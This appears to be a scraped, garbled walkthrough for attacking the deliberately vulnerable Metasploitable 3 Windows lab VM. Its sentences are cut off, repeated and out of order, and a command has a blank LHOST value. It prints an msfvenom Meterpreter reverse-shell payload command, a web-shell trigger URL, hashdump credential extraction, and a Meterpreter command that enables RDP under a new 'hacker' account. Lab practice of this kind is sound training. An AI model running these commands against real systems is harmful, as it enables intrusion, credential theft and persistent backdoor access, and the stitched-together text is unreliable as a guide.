Metasploitable 3 Windows Walkthrough Jun 2026
We start with a quick Nmap scan to identify open ports and running services.
Metasploitable 3 Windows is the premier, intentionally vulnerable virtual machine designed by Rapid7 for security professionals, penetration testers, and students to practice exploitation techniques. Unlike its Linux-based predecessor, Metasploitable 3 Windows simulates a modern, misconfigured Windows Server 2008 R2 environment, offering a wide array of services, applications, and vulnerabilities to explore.
This walkthrough covers the entire attack lifecycle, from initial scanning to full administrative compromise. 1. Information Gathering & Reconnaissance
Once the VM is live, the first step is identifying its IP address and open services. Network Discovery netdiscover or an Nmap ping sweep ( nmap -sn [network] ) to find the target's IP. Service Enumeration metasploitable 3 windows walkthrough
: Visit http://TARGET_IP:8080/shell/ in your browser to execute the payload and catch your initial shell. Vector B: Unauthenticated WebDAV File Upload (Port 8585)
python windows-exploit-suggester.py --database <db.xls> --systeminfo systeminfo.txt
The output confirms execution as nt authority\system or a local administrator. Metasploit Alternative We start with a quick Nmap scan to
vagrant box add metasploitable3-win2k8 ./metasploitable3-win2k8.box mkdir ms3-windows && cd ms3-windows vagrant init metasploitable3-win2k8 vagrant up
msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT=4444 -f exe-service -o Program.exe Use code with caution.
Use hashdump to extract local user password hashes for offline cracking . This walkthrough covers the entire attack lifecycle, from
Unlike Metasploitable 2, which was a simple downloadable file, Metasploitable 3 is built from scratch using scripts. This ensures you have the latest environment.
Your scan will reveal an extensive list of open ports. The most critical entry points for this walkthrough include: FTP (Anonymous access or vulnerable software)
To interact with the Windows GUI, enable RDP directly through Meterpreter. run getgui -e -u hacker -p Password123! Use code with caution.